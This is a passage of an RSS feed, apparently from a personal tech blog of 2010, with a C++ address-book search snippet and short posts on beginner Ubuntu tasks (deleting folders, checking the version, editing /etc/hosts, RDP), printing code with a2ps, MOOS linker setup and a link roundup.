&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;41&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#41&#34;&gt;41&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;42&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#42&#34;&gt;42&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;43&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#43&#34;&gt;43&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;44&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#44&#34;&gt;44&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-csharp&#34; data-lang=&#34;csharp&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;#&lt;/span&gt;include &amp;lt;vector&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;#&lt;/span&gt;include &amp;lt;algorithm&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;#&lt;/span&gt;include &amp;lt;functional&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;using&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;namespace&lt;/span&gt; std;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;//Simple data structure&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;ContactData&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ed8796&#34;&gt;string&lt;/span&gt; name;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ed8796&#34;&gt;string&lt;/span&gt; addr1;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ed8796&#34;&gt;string&lt;/span&gt; addr2;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ed8796&#34;&gt;string&lt;/span&gt; addr3;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ed8796&#34;&gt;string&lt;/span&gt; city;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ed8796&#34;&gt;string&lt;/span&gt; postcode;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ed8796&#34;&gt;string&lt;/span&gt; country;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ed8796&#34;&gt;int&lt;/span&gt; workPhone;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ed8796&#34;&gt;int&lt;/span&gt; homePhone;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ed8796&#34;&gt;int&lt;/span&gt; mobilePhone;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ed8796&#34;&gt;string&lt;/span&gt; workEmail;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ed8796&#34;&gt;string&lt;/span&gt; homeEmail;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;//I am lazy, create a typedef for the vector&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;typedef vector&amp;lt;ContactData&amp;gt; ContactDataArray;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// predicate function for rapidly searching the Contact data array&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;FindAContact&lt;/span&gt;: &lt;span style=&#34;color:#ed8796&#34;&gt;public&lt;/span&gt; std::binary_function&amp;lt;ContactData, std::&lt;span style=&#34;color:#ed8796&#34;&gt;string&lt;/span&gt;, &lt;span style=&#34;color:#ed8796&#34;&gt;bool&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ed8796&#34;&gt;bool&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;operator&lt;/span&gt;() (&lt;span style=&#34;color:#ed8796&#34;&gt;const&lt;/span&gt; ContactData &amp;amp;contact, &lt;span style=&#34;color:#ed8796&#34;&gt;const&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;string&lt;/span&gt; &amp;amp;name) &lt;span style=&#34;color:#ed8796&#34;&gt;const&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; (contact.name == name);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;//If a contact is find it returns that; else returns the iterator&amp;#39;s last element&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ContactData Contact::findContact(&lt;span style=&#34;color:#ed8796&#34;&gt;string&lt;/span&gt; name)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ContactDataArray::iterator it = find_if(addressBook.begin(),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        addressBook.end(),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        std::bind2nd(FindAContact(), name)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    );
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; *it;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
</description>
    </item>
    
    <item>
      <title>Deleting folder on Linux</title>
      <link>/post/2010/04/deleting-folder-on-linux/</link>
      <pubDate>Sun, 04 Apr 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/04/deleting-folder-on-linux/</guid>
      <description>&lt;p&gt;If you are a newbie to Ubuntu like me (or any other Unix distro) and you tried deleting a folder which is not empty contains files or subdirectories then you get the annoying error &lt;code&gt;&amp;quot;Directory not empty&amp;quot;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;To delete such a folder (from a terminal) use the &lt;code&gt;rm -rf&lt;/code&gt; command. For example to delete a folder called &lt;code&gt;amitbahree&lt;/code&gt; run the following:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;rm -rf amitbahree/&lt;/code&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Speeding Ticket Fail</title>
      <link>/post/2010/04/speeding-ticket-fail/</link>
      <pubDate>Fri, 02 Apr 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/04/speeding-ticket-fail/</guid>
      <description>&lt;p&gt;Evolution clearly has been failing us. :roll:&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>History of Gadgets</title>
      <link>/post/2010/03/history-of-gadgets/</link>
      <pubDate>Mon, 29 Mar 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/03/history-of-gadgets/</guid>
      <description>&lt;p&gt;Need I say anything more? :)&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/822691520_UJETEO1_thumb.jpg&#34; alt=&#34;History of Gadgets&#34;/&gt;
        &lt;figcaption&gt;History of Gadgets&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Analysis of Algorithms</title>
      <link>/post/2010/03/analysis-of-algorithms/</link>
      <pubDate>Fri, 26 Mar 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/03/analysis-of-algorithms/</guid>
      <description>&lt;p&gt;If you were interested in algorithms and interested in some mathematical foundations for algorithm analysis? For example if you are interested in proof techniques, probability, Amortization analysis techniques, Case studies and Asymptotic notions (such as Big-Oh, Big-Omega, Little-oh, little-omega, Big-Theta) then check out &lt;a
	
		href = &#34;http://csc.csudh.edu/jhan/Spring2005/csc401/LectureNotes/LectureNotes02.ppt&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		these lecture notes
	&lt;/span&gt;
&lt;/a&gt; (in ppt, 224kb) from California State University.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Interesting Find #21</title>
      <link>/post/2010/03/interesting-find-21/</link>
      <pubDate>Wed, 24 Mar 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/03/interesting-find-21/</guid>
      <description>&lt;p&gt;Next post in the Interesting Find series.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;[InstEd It](InstEd - Make packaging more productive) - an interesting tool that allows one to edit MSI files - handy when you don&amp;rsquo;t want to install the full Windows SDK just to get the Orca editor. (you can also just &lt;a
	
		href = &#34;http://support.microsoft.com/kb/255905&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		download the SDK samples and use that
	&lt;/span&gt;
&lt;/a&gt; instead of the full SDK).&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://productivegeek.com/forums/topic/windows-home-server-backup-to-lan&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		WHS backup to LAN
	&lt;/span&gt;
&lt;/a&gt; - If for some reason you don&amp;rsquo;t want to use WHS&amp;rsquo;s built-in backup option and prefer to back it up to LAN&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.knowliz.com/2008/12/top-10-beautiful-gdm-login-themes-for.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		10 Beautiful Login screen for Ubuntu
	&lt;/span&gt;
&lt;/a&gt; - very nice themes to change your login screen.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.howtogeek.com/howto/11735/desktop-fun-fast-cars-wallpapers/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Fast Car Wallpapers
	&lt;/span&gt;
&lt;/a&gt; - name says it all.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.getpivot.com/download/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Microsoft Pivot
	&lt;/span&gt;
&lt;/a&gt; - Pivot makes it easier to interact with massive amounts of data in ways that are powerful, informative, and fun.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://plantuml.sourceforge.net/index.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		PlantUML
	&lt;/span&gt;
&lt;/a&gt; - UML add-in (jar file) for Eclipse. You cannot draw a diagram, instead you describe it using a &lt;a
	
		href = &#34;http://plantuml.sourceforge.net/sources.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		language
	&lt;/span&gt;
&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.papyrusuml.org/scripts/home/publigen/content/templates/show.asp?P=130&amp;amp;L=EN&amp;amp;ITEMID=4&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Papyrus 4 UML
	&lt;/span&gt;
&lt;/a&gt; - another UML add-in (also for Eclipse), which seems to be more professional looking than PlantUML. However this does not support Activity diagrams (yet), which PlantUML does.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.betanews.com/article/PDC-2009-Scuttling-huge-chunks-of-Vista-architecture-for-a-faster-Windows-7/1258443953&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Spinlocks, page frame number locks (and the meaning of life)
	&lt;/span&gt;
&lt;/a&gt; - I don&amp;rsquo;t think any more needs to be said. :)&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.en.fliptext.net/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		FlipText.net
	&lt;/span&gt;
&lt;/a&gt; - write upside down (: sıɥʇ ǝʞıl.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.google.com/mobile/goggles/#landmark&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Google Goggles
	&lt;/span&gt;
&lt;/a&gt; - use pictures to search the web.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.haystacknetwork.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Haystack
	&lt;/span&gt;
&lt;/a&gt; - very interesting idea which encrypts your data and then hides it in regular http traffic. Mainly used to help out the citizens of Iran, but useful elsewhere as well.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.bertos.org/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		BeRTOS
	&lt;/span&gt;
&lt;/a&gt; - a real-time OS hits a major stable milestone.&lt;/li&gt;
&lt;/ol&gt;
</description>
    </item>
    
    <item>
      <title>Forbes rich list</title>
      <link>/post/2010/03/forbes-rich-list/</link>
      <pubDate>Thu, 11 Mar 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/03/forbes-rich-list/</guid>
      <description>&lt;p&gt;Forbes rich list is Slim pickings. Only lack of ability, inheritance and money keeps the rest of us off the Forbes list of world&amp;rsquo;s billionaires. It&amp;rsquo;s not fair?  Here is &lt;a
	
		href = &#34;http://www.guardian.co.uk/commentisfree/cifamerica/2010/mar/11/forbes-rich-lists-carlos-slim-billionaire&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Guardian&#39;s recipe
	&lt;/span&gt;
&lt;/a&gt; for billionaire success: get born into a rich family, invent something and sell it to Americans. Win. :)&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Reboot the cloud</title>
      <link>/post/2010/03/reboot-the-cloud/</link>
      <pubDate>Tue, 09 Mar 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/03/reboot-the-cloud/</guid>
      <description>&lt;p&gt;New Paradigm, old habits – brilliant. :) Click on the picture to see the original size.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/806141851_h5MhaL1.jpg&#34; alt=&#34;reboot the cloud&#34;/&gt;
        &lt;figcaption&gt;reboot the cloud&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Ubuntu on a HTC Touch Pro 2</title>
      <link>/post/2010/03/ubuntu-on-a-htc-touch-pro-2/</link>
      <pubDate>Tue, 09 Mar 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/03/ubuntu-on-a-htc-touch-pro-2/</guid>
      <description>&lt;p&gt;Well this is the phone I have maybe some day I will try this - pretty geeky albeit useless. :)&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>RDP from Ubuntu</title>
      <link>/post/2010/03/rdp-from-ubuntu/</link>
      <pubDate>Sun, 07 Mar 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/03/rdp-from-ubuntu/</guid>
      <description>&lt;p&gt;I did not know until today that there is something called &lt;a
	
		href = &#34;http://sourceforge.net/projects/gnome-rdp/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		gnome-rdp
	&lt;/span&gt;
&lt;/a&gt; using which one can RDP to Windows machines from Ubuntu (or any other linux flavour I imagine). Installation is simple on Ubuntu, with it available in Synaptic Package Manager. To start it you can type in gnome-rdp in a console or go to Applications -&amp;gt; Internet -&amp;gt; Gnome-RDP. Once it has started, usage is quite simple - though you might want to change the remote desktop size and colours. Interestingly this also supports VNC and SSH.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Finding out which version of Ubuntu you are running</title>
      <link>/post/2010/03/finding-out-which-version-of-ubuntu-you-are-running/</link>
      <pubDate>Sat, 06 Mar 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/03/finding-out-which-version-of-ubuntu-you-are-running/</guid>
      <description>&lt;p&gt;If you ever need to find out which version of Ubuntu you are running (if you have a few machines it is quite easy to forget what is running where), the easiest way is to run the following command in a terminal:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;cat /etc/issue&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;For example here is the output from the machine I am on now:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;2&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-shell&#34; data-lang=&#34;shell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;amit@xps:~$ cat /etc/issue
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Ubuntu 9.04 &lt;span style=&#34;color:#8aadf4&#34;&gt;\n&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;\l&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
</description>
    </item>
    
    <item>
      <title>Day traders paradise</title>
      <link>/post/2010/03/day-traders-paradise/</link>
      <pubDate>Mon, 01 Mar 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/03/day-traders-paradise/</guid>
      <description>&lt;p&gt;Wow, &lt;a
	
		href = &#34;http://lifehacker.com/5481921/the-day-traders-paradise&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		this is cool
	&lt;/span&gt;
&lt;/a&gt;, though a bit too much. I am not sure how many people use this - if its only one person, isn&amp;rsquo;t that just too much information for one of us to crunch?&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/500x_4387533829_faf5872895_b.jpg&#34; alt=&#34;multi monitor setup&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Printing code and making it look pretty</title>
      <link>/post/2010/03/printing-code-and-making-it-look-pretty/</link>
      <pubDate>Mon, 01 Mar 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/03/printing-code-and-making-it-look-pretty/</guid>
      <description>&lt;p&gt;If you are on Linux and want to print some code and also make it look pretty then check out &lt;a
	
		href = &#34;http://www.gnu.org/software/a2ps/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		a2ps
	&lt;/span&gt;
&lt;/a&gt; (Any to postscript filter). Of course if you can avoid printing in the first place and saving paper and trees and make it greener that is ideal - however there are times that is not possible. I tried printing from CDT, but the printing options from CDT just looks plain ugly and big fonts and can spread over 10 pages for a simple code file (spanning 293 lines). Sure I can tweak the font in CDT, but that is the only option available - enter &lt;a
	
		href = &#34;http://www.gnu.org/software/a2ps/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		a2ps
	&lt;/span&gt;
&lt;/a&gt;. It seems to have more options, but I have not had a chance to play with those.&lt;/p&gt;
&lt;p&gt;For example if I wanted a C++ code file called MOOSSniffer.cpp and &amp;ldquo;print it&amp;rdquo; out as PDF then use the command shown below. Here &amp;ldquo;-E&amp;rdquo; is the option to make the code look pretty and the &amp;ldquo;-P pdf&amp;rdquo; is the option for printing to PDF. Next comes the source file (you can also provide multiple files such as *.cpp) and finally the -o option is for the output filename. Of course you will need to install a2ps, which you can do via System -&amp;gt; Admin -&amp;gt; Synaptic Package Manager&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;a2ps -E -P pdf MOOSSniffer.cpp -o MOOSSniffer.pdf&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Now, for some reason the resulting PDF could not be opened in Acrobat Reader, but on my Ubuntu machine, I could open it using the &amp;ldquo;Document Viewer&amp;rdquo; and print it using that. And in case you were curious, the pretty page option came to 3 pages instead of the original 10.&lt;/p&gt;
&lt;p&gt;Also no trees were harmed in the making of this post - my printouts were all to PDF and not real paper - but in the end I did print out the 3 page version. :)&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Getting MOOS linking</title>
      <link>/post/2010/02/getting-moos-linking/</link>
      <pubDate>Sun, 28 Feb 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/02/getting-moos-linking/</guid>
      <description>&lt;p&gt;I started a brand new project in &lt;a
	
		href = &#34;http://www.eclipse.org/cdt/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		CDT
	&lt;/span&gt;
&lt;/a&gt; where I was using &lt;a
	
		href = &#34;http://www.robots.ox.ac.uk/~mobile/MOOS/wiki/pmwiki.php&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		MOOS
	&lt;/span&gt;
&lt;/a&gt; and I could not get my simple program to link. While everything looked fine on the surface I just could not get the IDE to link to the MOOS libraries. I know the OS and MOOS itself was not a problem as I had other projects in the same workspace which did link correctly. The only difference between those and this was that I setup this project from scratch, whilst the others I had not. It took me a while to figure it out, but in the end I had to resort to explicitly add the locations for the libs in the C++ project properties in CDT as shown in the screenshot below.&lt;/p&gt;
&lt;p&gt;To get this this, you right click on the Project name in Project Explorer in CDT. In the C++ Linker section then explicitly add the two paths shown in the screenshot. I of course had MOOS installed in the default location (binaries are in &lt;code&gt;/usr/local/bin&lt;/code&gt; and libraries in &lt;code&gt;/usr/local/lib&lt;/code&gt;). So even if you have added paths to CDT and still getting linking issues, I suggest you add it explicitly to the C++ properties.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/798908371_qHEbx-S.png&#34; alt=&#34;C&amp;#43;&amp;#43; Project properties&#34;/&gt;
        &lt;figcaption&gt;C&amp;#43;&amp;#43; Project properties&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Host files on Ubuntu</title>
      <link>/post/2010/02/host-files-on-ubuntu/</link>
      <pubDate>Sun, 28 Feb 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/02/host-files-on-ubuntu/</guid>
      <description>&lt;p&gt;If you are newish to Linux (like me) from Windows, then some of the simple things which come quite naturally to you on Windows is a little embarrassing and challenging.&lt;/p&gt;
&lt;p&gt;For example, I got a new WHS and wanted to mount the music drive and wanted to create a new host file entry to point to the new WHS. Now on Windows this is quite simple and can be found in &lt;code&gt;YOUR-OS-DRIVE\Windows\system32\drivers\etc\hosts&lt;/code&gt;. But on Linux you will find this in &lt;code&gt;\etc\hosts&lt;/code&gt;. If you want to edit it you will need to type something like this a shell:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sudo gedit /etc/hosts&lt;/code&gt;&lt;/p&gt;
